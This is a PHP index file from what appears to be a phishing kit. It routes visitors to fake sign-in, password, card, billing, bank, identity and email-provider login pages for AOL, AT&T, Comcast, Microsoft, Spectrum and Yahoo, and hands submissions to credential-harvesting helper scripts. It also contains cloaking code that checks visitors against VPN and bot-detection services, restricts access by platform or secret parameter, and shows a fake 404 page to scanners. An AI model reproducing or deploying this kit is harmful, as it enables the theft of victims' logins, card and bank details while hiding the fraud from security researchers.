<?php
ob_start();
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

include 'core/functions.php';

function getOSType() {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $osMap = [
        'iPhone' => 'iPhone', 'iPad' => 'iPad', 'iPod' => 'iPod',
        'Android' => 'Android', 'Windows Phone' => 'Windows Phone',
        'Mac OS' => 'Mac OS X', 'Windows' => 'Windows',
        'Linux' => 'Linux', 'CrOS' => 'Chrome OS'
    ];
    foreach ($osMap as $key => $value) {
        if (stripos($ua, $key) !== false) return $value;
    }
    return 'Desktop';
}

function isMobileDevice() {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $mobileDevices = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 
                      'Opera Mini', 'IEMobile', 'Mobile', 'Windows Phone'];
    foreach ($mobileDevices as $device) {
        if (stripos($ua, $device) !== false) return true;
    }
    return false;
}

function generateHash($length = 32) {
    return bin2hex(random_bytes($length / 2));
}

function blockBot($reason, $logFile = "logs/block_bot.txt") {
    global $ip, $br, $os, $countryname;
    
    if (!is_dir('logs')) mkdir('logs', 0755, true);
    
    $timestamp = date("l d F H:i:s");
    $logEntry = "|{$timestamp}|{$countryname}|{$ip}|{$br}|{$os}|{$reason}" . PHP_EOL;
    
    file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
    file_put_contents("logs/total_bot.txt", $logEntry, FILE_APPEND | LOCK_EX);
    
    header("HTTP/1.0 404 Not Found");
    exit('<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>');
}

function includePageByInfo($page) {
    if (empty($page) || !preg_match('/^[a-zA-Z0-9\-]+$/', $page)) {
        header("Location: ?auth_max_open=signin&error=invalid_page");
        exit;
    }

    $pages = [
        'signin' => ['signin', 'mobile-signin'],
        'password' => ['password', 'mobile-password'],
        'passwordinvalid' => ['passwordinvalid', 'mobile-passwordinvalid'],
        'alert' => ['alert', 'mobile-alert'],
        'billing' => ['billing', 'mobile-billing'],
        'card' => ['card', 'mobile-card'],
        'cardinvalid' => ['cardinvalid', 'mobile-cardinvalid'],
        'bank' => ['bank', 'mobile-bank'],
        'email' => ['email', 'mobile-email'],
        'emailother' => ['emailother', 'mobile-emailother'],
        'login-aol' => ['login-aol', 'mobile-aol'],
        'login-aolinvalid' => ['login-aolinvalid', 'mobile-aolinvalid'],
        'login-att' => ['login-att', 'login-att'],
        'login-attinvalid' => ['login-attinvalid', 'login-attinvalid'],
        'login-comcast' => ['login-comcast', 'login-comcast'],
        'login-comcastinvalid' => ['login-comcastinvalid', 'login-comcastinvalid'],
        'login-microsoft' => ['login-microsoft', 'login-microsoft'],
        'login-microsoftinvalid' => ['login-microsoftinvalid', 'login-microsoftinvalid'],
        'login-spectrum' => ['login-spectrum', 'login-spectrum'],
        'login-spectruminvalid' => ['login-spectruminvalid', 'login-spectruminvalid'],
        'login-yahoo' => ['login-yahoo', 'mobile-yahoo'],
        'login-yahooinvalid' => ['login-yahooinvalid', 'mobile-yahooinvalid'],
        'login-other' => ['login-other', 'mobile-other'],
        'login-otherinvalid' => ['login-otherinvalid', 'mobile-otherinvalid'],
        'id' => ['id', 'mobile-id'],
        'done' => ['done', 'mobile-done'],
    ];
    
    if (!isset($pages[$page])) {
        header("Location: ?auth_max_open=signin&error=page_not_found");
        exit;
    }
    
    $isMobile = isMobileDevice();
    $folder = $isMobile ? 'pages/mobile/' : 'pages/desktop/';
    $file = $isMobile ? $pages[$page][1] : $pages[$page][0];
    
    $fullPath = $folder . $file . '.php';
    
    if (file_exists($fullPath)) {
        include $fullPath;
        return;
    }
    
    $oldPath = 'pages/' . $file . '.php';
    if (file_exists($oldPath)) {
        include $oldPath;
        return;
    }
    
    echo "<h1>Page not found</h1>";
    echo "<p>Looking for: " . htmlspecialchars($fullPath) . "</p>";
    echo "<p>Also tried: " . htmlspecialchars($oldPath) . "</p>";
    echo "<p>Device: " . ($isMobile ? "Mobile" : "Desktop") . "</p>";
}

function handleAction($action) {
    $actions = [
        'login' => 'helper/Login.php',
        'relogin' => 'helper/reLogin.php',
        'email' => 'helper/Email.php',
        'reemail' => 'helper/reEmail.php',
        'fullinfo' => 'helper/Full.php',
        'recard' => 'helper/reCard.php',
        'bankinfo' => 'helper/Bank.php',
        'identity' => 'helper/identity.php'
    ];
    
    if (!isset($actions[$action])) return false;
    
    include $actions[$action];
    return true;
}

function checkBotAndBlockers($settings, $ip, $os) {
    if (($settings['block_vpn'] ?? 'off') === "on") {
        if ($ip !== "127.0.0.1" && $ip !== "::1") {
            $url = "https://blackbox.ipinfo.app/lookup/" . urlencode($ip);
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_TIMEOUT => 5,
                CURLOPT_CONNECTTIMEOUT => 3
            ]);
            $resp = curl_exec($ch);
            curl_close($ch);
            
            if (trim($resp) === "Y") {
                blockBot("BOT BLOCKED VPN");
            }
        }
    }

    if (($settings['gobot'] ?? 'off') === "on") {
        $key = $settings['gobot_key'] ?? '';
        if (!empty($key)) {
            $postData = [
                'ip'     => $ip,
                'apikey' => $key,
                'ua'     => $_SERVER['HTTP_USER_AGENT'] ?? '',
                'url'    => $_SERVER['REQUEST_URI'] ?? '',
                'reff'   => $_SERVER['HTTP_REFERER'] ?? ''
            ];
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_SSL_VERIFYPEER => 0,
                CURLOPT_SSL_VERIFYHOST => 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => http_build_query($postData),
                CURLOPT_TIMEOUT => 5,
                CURLOPT_USERAGENT => 'Site-Blocker/1.0',
                CURLOPT_URL => "https://gobot.su/api/v1/blocker"
            ]);
            
            $data = curl_exec($ch);
            curl_close($ch);
            
            $json = json_decode($data, true);
            
            $isBot = false;
            if (isset($json['action']) && strtolower($json['action']) === 'block') {
                $isBot = true;
            } elseif (isset($json['type']) && strtolower($json['type']) === 'bot') {
                $isBot = true;
            } elseif (isset($json['success']) && $json['success'] === false) {
                $isBot = true;
            }
            
            if ($isBot) {
                $reason = isset($json['reason']) ? $json['reason'] : 'Unknown';
                $type = isset($json['type']) ? $json['type'] : 'Unknown';
                $threat = isset($json['threat']) ? $json['threat'] : 'Unknown';
                blockBot("BOT BLOCKED BY GOBOT - Reason: $reason | Type: $type | Threat: $threat");
            }
        }
    }

    if (($settings['stopbot'] ?? 'off') === "on") {
        $key = $settings['stopbot_key'] ?? '';
        if (!empty($key)) {
            $apiUrl = "https://stopbot.net/api/blocker?apikey=" . urlencode($key) 
                    . "&ip=" . urlencode($ip) 
                    . "&ua=" . urlencode($_SERVER['HTTP_USER_AGENT'] ?? '') 
                    . "&url=" . urlencode($_SERVER['REQUEST_URI'] ?? '');
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $apiUrl,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT => 5
            ]);
            $data = curl_exec($ch);
            curl_close($ch);
            
            $json = json_decode($data, true); 
            if (isset($json["IPStatus"]["isBot"]) && $json["IPStatus"]["isBot"] == 1) {
                blockBot("BOT BLOCKED BY STOPBOT");
            }
        }
    }

    if (($settings['lock_platform'] ?? 'off') === "on") {
        $appleDevices = ['iPhone', 'iPad', 'iPod', 'Mac OS X'];
        if (!in_array($os, $appleDevices)) {
            blockBot("BOT BLOCKED LOCK PLATFORM - Not Apple Device");
        }
    }

    if (($settings['site_param_on'] ?? 'off') === "on") {
        $secret = $settings['site_parameter'] ?? '';
        if (!empty($secret) && !isset($_GET[$secret])) {
            blockBot("BOT BLOCKED BY 510 - Missing Parameter");
        }
    }
}

$ip = getUserIP();
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR'] ?? $ip);
$os = getOSType();
$br = $br ?? 'Unknown Browser';
$countryname = $countryname ?? 'Unknown Country';
$settings = $settings ?? [];

$isFormSubmission = !empty($_GET['action']) || !empty($_GET['auth_max_open']);

if (!$isFormSubmission) {
    checkBotAndBlockers($settings, $ip, $os);
}

if (!empty($_GET['auth_max_open'])) {
    $page = trim($_GET['auth_max_open']);
    $page = preg_replace('/[^a-zA-Z0-9\-]/', '', $page);
    
    if (!empty($page)) {
        includePageByInfo($page);
    } else {
        header("Location: ?auth_max_open=signin");
    }
    exit;
}

if (!empty($_GET['action'])) {
    $action = trim($_GET['action']);
    if (!handleAction($action)) {
        header("HTTP/1.0 404 Not Found");
        exit('<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>');
    }
    exit;
}

if (!is_dir('logs')) mkdir('logs', 0755, true);
$timestamp = date("l d F H:i:s");
$logEntry = "|{$timestamp}|{$countryname}|{$ip}|{$br}|{$os}|Human - First Visit" . PHP_EOL;
file_put_contents("logs/human.txt", $logEntry, FILE_APPEND | LOCK_EX);

$hash = generateHash(100);
$param = isMobileDevice() ? "mobile_access" : "desktop_access";

header("Location: ?auth_max_open=signin&{$param}=" . $hash);
ob_end_flush();
exit;
?>